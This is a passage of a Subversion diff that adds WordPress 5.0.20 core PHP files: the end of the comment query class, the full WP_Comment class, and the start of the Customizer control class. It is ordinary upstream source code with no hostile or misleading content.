+		$this->sql_clauses['from']    = "FROM $wpdb->comments $join";
+		$this->sql_clauses['groupby'] = $groupby;
+		$this->sql_clauses['orderby'] = $orderby;
+		$this->sql_clauses['limits']  = $limits;
+
+		$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";
+
+		if ( $this->query_vars['count'] ) {
+			return intval( $wpdb->get_var( $this->request ) );
+		} else {
+			$comment_ids = $wpdb->get_col( $this->request );
+			return array_map( 'intval', $comment_ids );
+		}
+	}
+
+	/**
+	 * Populates found_comments and max_num_pages properties for the current
+	 * query if the limit clause was used.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	private function set_found_comments() {
+		global $wpdb;
+
+		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
+			/**
+			 * Filters the query used to retrieve found comment count.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param string           $found_comments_query SQL query. Default 'SELECT FOUND_ROWS()'.
+			 * @param WP_Comment_Query $comment_query        The `WP_Comment_Query` instance.
+			 */
+			$found_comments_query = apply_filters( 'found_comments_query', 'SELECT FOUND_ROWS()', $this );
+
+			$this->found_comments = (int) $wpdb->get_var( $found_comments_query );
+		}
+	}
+
+	/**
+	 * Fetch descendants for located comments.
+	 *
+	 * Instead of calling `get_children()` separately on each child comment, we do a single set of queries to fetch
+	 * the descendant trees for all matched top-level comments.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array $comments Array of top-level comments whose descendants should be filled in.
+	 * @return array
+	 */
+	protected function fill_descendants( $comments ) {
+		global $wpdb;
+
+		$levels = array(
+			0 => wp_list_pluck( $comments, 'comment_ID' ),
+		);
+
+		$key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) );
+		$last_changed = wp_cache_get_last_changed( 'comment' );
+
+		// Fetch an entire level of the descendant tree at a time.
+		$level = 0;
+		$exclude_keys = array( 'parent', 'parent__in', 'parent__not_in' );
+		do {
+			// Parent-child relationships may be cached. Only query for those that are not.
+			$child_ids = $uncached_parent_ids = array();
+			$_parent_ids = $levels[ $level ];
+			foreach ( $_parent_ids as $parent_id ) {
+				$cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed";
+				$parent_child_ids = wp_cache_get( $cache_key, 'comment' );
+				if ( false !== $parent_child_ids ) {
+					$child_ids = array_merge( $child_ids, $parent_child_ids );
+				} else {
+					$uncached_parent_ids[] = $parent_id;
+				}
+			}
+
+			if ( $uncached_parent_ids ) {
+				// Fetch this level of comments.
+				$parent_query_args = $this->query_vars;
+				foreach ( $exclude_keys as $exclude_key ) {
+					$parent_query_args[ $exclude_key ] = '';
+				}
+				$parent_query_args['parent__in']    = $uncached_parent_ids;
+				$parent_query_args['no_found_rows'] = true;
+				$parent_query_args['hierarchical']  = false;
+				$parent_query_args['offset']        = 0;
+				$parent_query_args['number']        = 0;
+
+				$level_comments = get_comments( $parent_query_args );
+
+				// Cache parent-child relationships.
+				$parent_map = array_fill_keys( $uncached_parent_ids, array() );
+				foreach ( $level_comments as $level_comment ) {
+					$parent_map[ $level_comment->comment_parent ][] = $level_comment->comment_ID;
+					$child_ids[] = $level_comment->comment_ID;
+				}
+
+				foreach ( $parent_map as $parent_id => $children ) {
+					$cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed";
+					wp_cache_set( $cache_key, $children, 'comment' );
+				}
+			}
+
+			$level++;
+			$levels[ $level ] = $child_ids;
+		} while ( $child_ids );
+
+		// Prime comment caches for non-top-level comments.
+		$descendant_ids = array();
+		for ( $i = 1, $c = count( $levels ); $i < $c; $i++ ) {
+			$descendant_ids = array_merge( $descendant_ids, $levels[ $i ] );
+		}
+
+		_prime_comment_caches( $descendant_ids, $this->query_vars['update_comment_meta_cache'] );
+
+		// Assemble a flat array of all comments + descendants.
+		$all_comments = $comments;
+		foreach ( $descendant_ids as $descendant_id ) {
+			$all_comments[] = get_comment( $descendant_id );
+		}
+
+		// If a threaded representation was requested, build the tree.
+		if ( 'threaded' === $this->query_vars['hierarchical'] ) {
+			$threaded_comments = $ref = array();
+			foreach ( $all_comments as $k => $c ) {
+				$_c = get_comment( $c->comment_ID );
+
+				// If the comment isn't in the reference array, it goes in the top level of the thread.
+				if ( ! isset( $ref[ $c->comment_parent ] ) ) {
+					$threaded_comments[ $_c->comment_ID ] = $_c;
+					$ref[ $_c->comment_ID ] = $threaded_comments[ $_c->comment_ID ];
+
+				// Otherwise, set it as a child of its parent.
+				} else {
+
+					$ref[ $_c->comment_parent ]->add_child( $_c );
+					$ref[ $_c->comment_ID ] = $ref[ $_c->comment_parent ]->get_child( $_c->comment_ID );
+				}
+			}
+
+			// Set the 'populated_children' flag, to ensure additional database queries aren't run.
+			foreach ( $ref as $_ref ) {
+				$_ref->populated_children( true );
+			}
+
+			$comments = $threaded_comments;
+		} else {
+			$comments = $all_comments;
+		}
+
+		return $comments;
+	}
+
+	/**
+	 * Used internally to generate an SQL string for searching across multiple columns
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $string
+	 * @param array $cols
+	 * @return string
+	 */
+	protected function get_search_sql( $string, $cols ) {
+		global $wpdb;
+
+		$like = '%' . $wpdb->esc_like( $string ) . '%';
+
+		$searches = array();
+		foreach ( $cols as $col ) {
+			$searches[] = $wpdb->prepare( "$col LIKE %s", $like );
+		}
+
+		return ' AND (' . implode(' OR ', $searches) . ')';
+	}
+
+	/**
+	 * Parse and sanitize 'orderby' keys passed to the comment query.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby Alias for the field to order by.
+	 * @return string|false Value to used in the ORDER clause. False otherwise.
+	 */
+	protected function parse_orderby( $orderby ) {
+		global $wpdb;
+
+		$allowed_keys = array(
+			'comment_agent',
+			'comment_approved',
+			'comment_author',
+			'comment_author_email',
+			'comment_author_IP',
+			'comment_author_url',
+			'comment_content',
+			'comment_date',
+			'comment_date_gmt',
+			'comment_ID',
+			'comment_karma',
+			'comment_parent',
+			'comment_post_ID',
+			'comment_type',
+			'user_id',
+		);
+
+		if ( ! empty( $this->query_vars['meta_key'] ) ) {
+			$allowed_keys[] = $this->query_vars['meta_key'];
+			$allowed_keys[] = 'meta_value';
+			$allowed_keys[] = 'meta_value_num';
+		}
+
+		$meta_query_clauses = $this->meta_query->get_clauses();
+		if ( $meta_query_clauses ) {
+			$allowed_keys = array_merge( $allowed_keys, array_keys( $meta_query_clauses ) );
+		}
+
+		$parsed = false;
+		if ( $orderby == $this->query_vars['meta_key'] || $orderby == 'meta_value' ) {
+			$parsed = "$wpdb->commentmeta.meta_value";
+		} elseif ( $orderby == 'meta_value_num' ) {
+			$parsed = "$wpdb->commentmeta.meta_value+0";
+		} elseif ( $orderby == 'comment__in' ) {
+			$comment__in = implode( ',', array_map( 'absint', $this->query_vars['comment__in'] ) );
+			$parsed = "FIELD( {$wpdb->comments}.comment_ID, $comment__in )";
+		} elseif ( in_array( $orderby, $allowed_keys ) ) {
+
+			if ( isset( $meta_query_clauses[ $orderby ] ) ) {
+				$meta_clause = $meta_query_clauses[ $orderby ];
+				$parsed = sprintf( "CAST(%s.meta_value AS %s)", esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) );
+			} else {
+				$parsed = "$wpdb->comments.$orderby";
+			}
+		}
+
+		return $parsed;
+	}
+
+	/**
+	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'DESC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-comment.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-comment.php	(revision 56912)
@@ -0,0 +1,369 @@
+<?php
+/**
+ * Comment API: WP_Comment class
+ *
+ * @package WordPress
+ * @subpackage Comments
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to organize comments as instantiated objects with defined members.
+ *
+ * @since 4.4.0
+ */
+final class WP_Comment {
+
+	/**
+	 * Comment ID.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $comment_ID;
+
+	/**
+	 * ID of the post the comment is associated with.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $comment_post_ID = 0;
+
+	/**
+	 * Comment author name.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_author = '';
+
+	/**
+	 * Comment author email address.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_author_email = '';
+
+	/**
+	 * Comment author URL.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_author_url = '';
+
+	/**
+	 * Comment author IP address (IPv4 format).
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_author_IP = '';
+
+	/**
+	 * Comment date in YYYY-MM-DD HH:MM:SS format.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_date = '0000-00-00 00:00:00';
+
+	/**
+	 * Comment GMT date in YYYY-MM-DD HH::MM:SS format.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_date_gmt = '0000-00-00 00:00:00';
+
+	/**
+	 * Comment content.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_content;
+
+	/**
+	 * Comment karma count.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $comment_karma = 0;
+
+	/**
+	 * Comment approval status.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_approved = '1';
+
+	/**
+	 * Comment author HTTP user agent.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_agent = '';
+
+	/**
+	 * Comment type.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $comment_type = '';
+
+	/**
+	 * Parent comment ID.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $comment_parent = 0;
+
+	/**
+	 * Comment author ID.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $user_id = 0;
+
+	/**
+	 * Comment children.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $children;
+
+	/**
+	 * Whether children have been populated for this comment object.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	protected $populated_children = false;
+
+	/**
+	 * Post fields.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $post_fields = array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_content_filtered', 'post_parent', 'guid', 'menu_order', 'post_type', 'post_mime_type', 'comment_count' );
+
+	/**
+	 * Retrieves a WP_Comment instance.
+	 *
+	 * @since 4.4.0
+	 * @static
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $id Comment ID.
+	 * @return WP_Comment|false Comment object, otherwise false.
+	 */
+	public static function get_instance( $id ) {
+		global $wpdb;
+
+		$comment_id = (int) $id;
+		if ( ! $comment_id ) {
+			return false;
+		}
+
+		$_comment = wp_cache_get( $comment_id, 'comment' );
+
+		if ( ! $_comment ) {
+			$_comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment_id ) );
+
+			if ( ! $_comment ) {
+				return false;
+			}
+
+			wp_cache_add( $_comment->comment_ID, $_comment, 'comment' );
+		}
+
+		return new WP_Comment( $_comment );
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * Populates properties with object vars.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_Comment $comment Comment object.
+	 */
+	public function __construct( $comment ) {
+		foreach ( get_object_vars( $comment ) as $key => $value ) {
+			$this->$key = $value;
+		}
+	}
+
+	/**
+	 * Convert object to array.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Object as array.
+	 */
+	public function to_array() {
+		return get_object_vars( $this );
+	}
+
+	/**
+	 * Get the children of a comment.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $args {
+	 *     Array of arguments used to pass to get_comments() and determine format.
+	 *
+	 *     @type string $format        Return value format. 'tree' for a hierarchical tree, 'flat' for a flattened array.
+	 *                                 Default 'tree'.
+	 *     @type string $status        Comment status to limit results by. Accepts 'hold' (`comment_status=0`),
+	 *                                 'approve' (`comment_status=1`), 'all', or a custom comment status.
+	 *                                 Default 'all'.
+	 *     @type string $hierarchical  Whether to include comment descendants in the results.
+	 *                                 'threaded' returns a tree, with each comment's children
+	 *                                 stored in a `children` property on the `WP_Comment` object.
+	 *                                 'flat' returns a flat array of found comments plus their children.
+	 *                                 Pass `false` to leave out descendants.
+	 *                                 The parameter is ignored (forced to `false`) when `$fields` is 'ids' or 'counts'.
+	 *                                 Accepts 'threaded', 'flat', or false. Default: 'threaded'.
+	 *     @type string|array $orderby Comment status or array of statuses. To use 'meta_value'
+	 *                                 or 'meta_value_num', `$meta_key` must also be defined.
+	 *                                 To sort by a specific `$meta_query` clause, use that
+	 *                                 clause's array key. Accepts 'comment_agent',
+	 *                                 'comment_approved', 'comment_author',
+	 *                                 'comment_author_email', 'comment_author_IP',
+	 *                                 'comment_author_url', 'comment_content', 'comment_date',
+	 *                                 'comment_date_gmt', 'comment_ID', 'comment_karma',
+	 *                                 'comment_parent', 'comment_post_ID', 'comment_type',
+	 *                                 'user_id', 'comment__in', 'meta_value', 'meta_value_num',
+	 *                                 the value of $meta_key, and the array keys of
+	 *                                 `$meta_query`. Also accepts false, an empty array, or
+	 *                                 'none' to disable `ORDER BY` clause.
+	 * }
+	 * @return array Array of `WP_Comment` objects.
+	 */
+	public function get_children( $args = array() ) {
+		$defaults = array(
+			'format' => 'tree',
+			'status' => 'all',
+			'hierarchical' => 'threaded',
+			'orderby' => '',
+		);
+
+		$_args = wp_parse_args( $args, $defaults );
+		$_args['parent'] = $this->comment_ID;
+
+		if ( is_null( $this->children ) ) {
+			if ( $this->populated_children ) {
+				$this->children = array();
+			} else {
+				$this->children = get_comments( $_args );
+			}
+		}
+
+		if ( 'flat' === $_args['format'] ) {
+			$children = array();
+			foreach ( $this->children as $child ) {
+				$child_args = $_args;
+				$child_args['format'] = 'flat';
+				// get_children() resets this value automatically.
+				unset( $child_args['parent'] );
+
+				$children = array_merge( $children, array( $child ), $child->get_children( $child_args ) );
+			}
+		} else {
+			$children = $this->children;
+		}
+
+		return $children;
+	}
+
+	/**
+	 * Add a child to the comment.
+	 *
+	 * Used by `WP_Comment_Query` when bulk-filling descendants.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_Comment $child Child comment.
+	 */
+	public function add_child( WP_Comment $child ) {
+		$this->children[ $child->comment_ID ] = $child;
+	}
+
+	/**
+	 * Get a child comment by ID.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int $child_id ID of the child.
+	 * @return WP_Comment|bool Returns the comment object if found, otherwise false.
+	 */
+	public function get_child( $child_id ) {
+		if ( isset( $this->children[ $child_id ] ) ) {
+			return $this->children[ $child_id ];
+		}
+
+		return false;
+	}
+
+	/**
+	 * Set the 'populated_children' flag.
+	 *
+	 * This flag is important for ensuring that calling `get_children()` on a childless comment will not trigger
+	 * unneeded database queries.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param bool $set Whether the comment's children have already been populated.
+	 */
+	public function populated_children( $set ) {
+		$this->populated_children = (bool) $set;
+	}
+
+	/**
+	 * Check whether a non-public property is set.
+	 *
+	 * If `$name` matches a post field, the comment post will be loaded and the post's value checked.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $name Property name.
+	 * @return bool
+	 */
+	public function __isset( $name ) {
+		if ( in_array( $name, $this->post_fields ) && 0 !== (int) $this->comment_post_ID ) {
+			$post = get_post( $this->comment_post_ID );
+			return property_exists( $post, $name );
+		}
+	}
+
+	/**
+	 * Magic getter.
+	 *
+	 * If `$name` matches a post field, the comment post will be loaded and the post's value returned.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $name
+	 * @return mixed
+	 */
+	public function __get( $name ) {
+		if ( in_array( $name, $this->post_fields ) ) {
+			$post = get_post( $this->comment_post_ID );
+			return $post->$name;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-control.php	(revision 56912)
@@ -0,0 +1,794 @@
+<?php
+/**
+ * WordPress Customize Control classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+/**
+ * Customize Control class.
+ *
+ * @since 3.4.0
+ */
+class WP_Customize_Control {
+
+	/**
+	 * Incremented with each new class instantiation, then stored in $instance_number.
+	 *
+	 * Used when sorting two instances whose priorities are equal.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @static
+	 * @var int
+	 */
+	protected static $instance_count = 0;
+
+	/**
+	 * Order in which this instance was created in relation to other instances.
+	 *
+	 * @since 4.1.0
+	 * @var int
+	 */
+	public $instance_number;
+
+	/**
+	 * Customizer manager.
+	 *
+	 * @since 3.4.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Control ID.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * All settings tied to the control.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	public $settings;
+
+	/**
+	 * The primary setting for the control (if there is one).
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $setting = 'default';
+
+	/**
+	 * Capability required to use this control.
+	 *
+	 * Normally this is empty and the capability is derived from the capabilities
+	 * of the associated `$settings`.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $capability;
+
+	/**
+	 * Order priority to load the control in Customizer.
+	 *
+	 * @since 3.4.0
+	 * @var int
+	 */
+	public $priority = 10;
+
+	/**
+	 * Section the control belongs to.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $section = '';
+
+	/**
+	 * Label for the control.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $label = '';
+
+	/**
+	 * Description for the control.
+	 *
+	 * @since 4.0.0
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * List of choices for 'radio' or 'select' type controls, where values are the keys, and labels are the values.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	public $choices = array();
+
+	/**
+	 * List of custom input attributes for control output, where attribute names are the keys and values are the values.
+	 *
+	 * Not used for 'checkbox', 'radio', 'select', 'textarea', or 'dropdown-pages' control types.
+	 *
+	 * @since 4.0.0
+	 * @var array
+	 */
+	public $input_attrs = array();
+
+	/**
+	 * Show UI for adding new content, currently only used for the dropdown-pages control.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $allow_addition = false;
+
+	/**
+	 * @deprecated It is better to just call the json() method
+	 * @since 3.4.0
+	 * @var array
+	 */
+	public $json = array();
+
+	/**
+	 * Control's Type.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $type = 'text';
+
+	/**
+	 * Callback.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @see WP_Customize_Control::active()
+	 *
+	 * @var callable Callback is called with one argument, the instance of
+	 *               WP_Customize_Control, and returns bool to indicate whether
+	 *               the control is active (such as it relates to the URL
+	 *               currently being previewed).
+	 */
+	public $active_callback = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * Supplied `$args` override class property defaults.
+	 *
+	 * If `$args['settings']` is not defined, use the $id as the setting ID.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      Control ID.
+	 * @param array                $args    {
+	 *     Optional. Arguments to override class property defaults.
+	 *
+	 *     @type int                  $instance_number Order in which this instance was created in relation
+	 *                                                 to other instances.
+	 *     @type WP_Customize_Manager $manager         Customizer bootstrap instance.
+	 *     @type string               $id              Control ID.
+	 *     @type array                $settings        All settings tied to the control. If undefined, `$id` will
+	 *                                                 be used.
+	 *     @type string               $setting         The primary setting for the control (if there is one).
+	 *                                                 Default 'default'.
+	 *     @type int                  $priority        Order priority to load the control. Default 10.
+	 *     @type string               $section         Section the control belongs to. Default empty.
+	 *     @type string               $label           Label for the control. Default empty.
+	 *     @type string               $description     Description for the control. Default empty.
+	 *     @type array                $choices         List of choices for 'radio' or 'select' type controls, where
+	 *                                                 values are the keys, and labels are the values.
+	 *                                                 Default empty array.
+	 *     @type array                $input_attrs     List of custom input attributes for control output, where
+	 *                                                 attribute names are the keys and values are the values. Not
+	 *                                                 used for 'checkbox', 'radio', 'select', 'textarea', or
+	 *                                                 'dropdown-pages' control types. Default empty array.
+	 *     @type array                $json            Deprecated. Use WP_Customize_Control::json() instead.
+	 *     @type string               $type            Control type. Core controls include 'text', 'checkbox',
+	 *                                                 'textarea', 'radio', 'select', and 'dropdown-pages'. Additional
+	 *                                                 input types such as 'email', 'url', 'number', 'hidden', and
+	 *                                                 'date' are supported implicitly. Default 'text'.
+	 * }
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+		if ( empty( $this->active_callback ) ) {
+			$this->active_callback = array( $this, 'active_callback' );
+		}
+		self::$instance_count += 1;
+		$this->instance_number = self::$instance_count;
+
+		// Process settings.
+		if ( ! isset( $this->settings ) ) {
+			$this->settings = $id;
+		}
+
+		$settings = array();
+		if ( is_array( $this->settings ) ) {
+			foreach ( $this->settings as $key => $setting ) {
+				$settings[ $key ] = $this->manager->get_setting( $setting );
+			}
+		} else if ( is_string( $this->settings ) ) {
+			$this->setting = $this->manager->get_setting( $this->settings );
+			$settings['default'] = $this->setting;
+		}
+		$this->settings = $settings;
+	}
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue() {}
+
+	/**
+	 * Check whether control is active to current Customizer preview.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return bool Whether the control is active to the current preview.
+	 */
+	final public function active() {
+		$control = $this;
+		$active = call_user_func( $this->active_callback, $this );
+
+		/**
+		 * Filters response of WP_Customize_Control::active().
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param bool                 $active  Whether the Customizer control is active.
+		 * @param WP_Customize_Control $control WP_Customize_Control instance.
+		 */
+		$active = apply_filters( 'customize_control_active', $active, $control );
+
+		return $active;
+	}
+
+	/**
+	 * Default callback used when invoking WP_Customize_Control::active().
+	 *
+	 * Subclasses can override this with their specific logic, or they may
+	 * provide an 'active_callback' argument to the constructor.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return true Always true.
+	 */
+	public function active_callback() {
+		return true;
+	}
+
+	/**
+	 * Fetch a setting's value.
+	 * Grabs the main setting by default.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $setting_key
+	 * @return mixed The requested setting's value, if the setting exists.
+	 */
+	final public function value( $setting_key = 'default' ) {
+		if ( isset( $this->settings[ $setting_key ] ) ) {
+			return $this->settings[ $setting_key ]->value();
+		}
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 */
+	public function to_json() {
+		$this->json['settings'] = array();
+		foreach ( $this->settings as $key => $setting ) {
+			$this->json['settings'][ $key ] = $setting->id;
+		}
+
+		$this->json['type'] = $this->type;
+		$this->json['priority'] = $this->priority;
+		$this->json['active'] = $this->active();
+		$this->json['section'] = $this->section;
+		$this->json['content'] = $this->get_content();
+		$this->json['label'] = $this->label;
+		$this->json['description'] = $this->description;
+		$this->json['instanceNumber'] = $this->instance_number;
+
+		if ( 'dropdown-pages' === $this->type ) {
+			$this->json['allow_addition'] = $this->allow_addition;
+		}
+	}
+
+	/**
+	 * Get the data to export to the client via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array Array of parameters passed to the JavaScript.
+	 */
+	public function json() {
+		$this->to_json();
+		return $this->json;
+	}
+
+	/**
+	 * Checks if the user can use this control.
+	 *
+	 * Returns false if the user cannot manipulate one of the associated settings,
+	 * or if one of the associated settings does not exist. Also returns false if
+	 * the associated section does not exist or if its capability check returns
+	 * false.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true.
+	 */
+	final public function check_capabilities() {
+		if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
+			return false;
+		}
+
+		foreach ( $this->settings as $setting ) {
+			if ( ! $setting || ! $setting->check_capabilities() ) {
+				return false;
+			}
+		}
+
+		$section = $this->manager->get_section( $this->section );
+		if ( isset( $section ) && ! $section->check_capabilities() ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the control's content for insertion into the Customizer pane.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return string Contents of the control.
+	 */
+	final public function get_content() {
+		ob_start();
+		$this->maybe_render();
+		return trim( ob_get_clean() );
+	}
+
+	/**
+	 * Check capabilities and render the control.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::render()
+	 */
+	final public function maybe_render() {
+		if ( ! $this->check_capabilities() )
+			return;
+
+		/**
+		 * Fires just before the current Customizer control is rendered.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Control $this WP_Customize_Control instance.
+		 */
+		do_action( 'customize_render_control', $this );
+
+		/**
+		 * Fires just before a specific Customizer control is rendered.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to
+		 * the control ID.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Control $this WP_Customize_Control instance.
+		 */
+		do_action( "customize_render_control_{$this->id}", $this );
+
+		$this->render();
+	}
+
+	/**
+	 * Renders the control wrapper and calls $this->render_content() for the internals.
+	 *
+	 * @since 3.4.0
+	 */
+	protected function render() {
+		$id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
+		$class = 'customize-control customize-control-' . $this->type;
+
+		printf( '<li id="%s" class="%s">', esc_attr( $id ), esc_attr( $class ) );
+		$this->render_content();
+		echo '</li>';
+	}
+
+	/**
+	 * Get the data link attribute for a setting.
+	 *
+	 * @since 3.4.0
+	 * @since 4.9.0 Return a `data-customize-setting-key-link` attribute if a setting is not registered for the supplied setting key.
+	 *
+	 * @param string $setting_key
+	 * @return string Data link parameter, a `data-customize-setting-link` attribute if the `$setting_key` refers to a pre-registered setting,
+	 *                and a `data-customize-setting-key-link` attribute if the setting is not yet registered.
+	 */
+	public function get_link( $setting_key = 'default' ) {
+		if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) {
+			return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"';
+		} else {
+			return 'data-customize-setting-key-link="' . esc_attr( $setting_key ) . '"';
+		}
+	}
+
+	/**
+	 * Render the data link attribute for the control's input element.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::get_link()
+	 *
+	 * @param string $setting_key
+	 */
+	public function link( $setting_key = 'default' ) {
+		echo $this->get_link( $setting_key );
+	}
+
+	/**
+	 * Render the custom attributes for the control's input element.
+	 *
+	 * @since 4.0.0
+	 */
+	public function input_attrs() {
+		foreach ( $this->input_attrs as $attr => $value ) {
+			echo $attr . '="' . esc_attr( $value ) . '" ';
+		}
+	}
+
+	/**
+	 * Render the control's content.
+	 *
+	 * Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`.
+	 *
+	 * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`.
+	 * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly.
+	 *
+	 * Control content can alternately be rendered in JS. See WP_Customize_Control::print_template().
+	 *
+	 * @since 3.4.0
+	 */
+	protected function render_content() {
+		$input_id = '_customize-input-' . $this->id;
+		$description_id = '_customize-description-' . $this->id;
+		$describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : '';
+		switch ( $this->type ) {
+			case 'checkbox':
+				?>
+				<span class="customize-inside-control-row">
+					<input
+						id="<?php echo esc_attr( $input_id ); ?>"
+						<?php echo $describedby_attr; ?>
+						type="checkbox"
+						value="<?php echo esc_attr( $this->value() ); ?>"
+						<?php $this->link(); ?>
+						<?php checked( $this->value() ); ?>
+					/>
+					<label for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $this->label ); ?></label>
+					<?php if ( ! empty( $this->description ) ) : ?>
+						<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
+					<?php endif; ?>
+				</span>
+				<?php
+				break;
+			case 'radio':
+				if ( empty( $this->choices ) ) {
+					return;
+				}
+
+				$name = '_customize-radio-' . $this->id;
+				?>
+				<?php if ( ! empty( $this->label ) ) : ?>
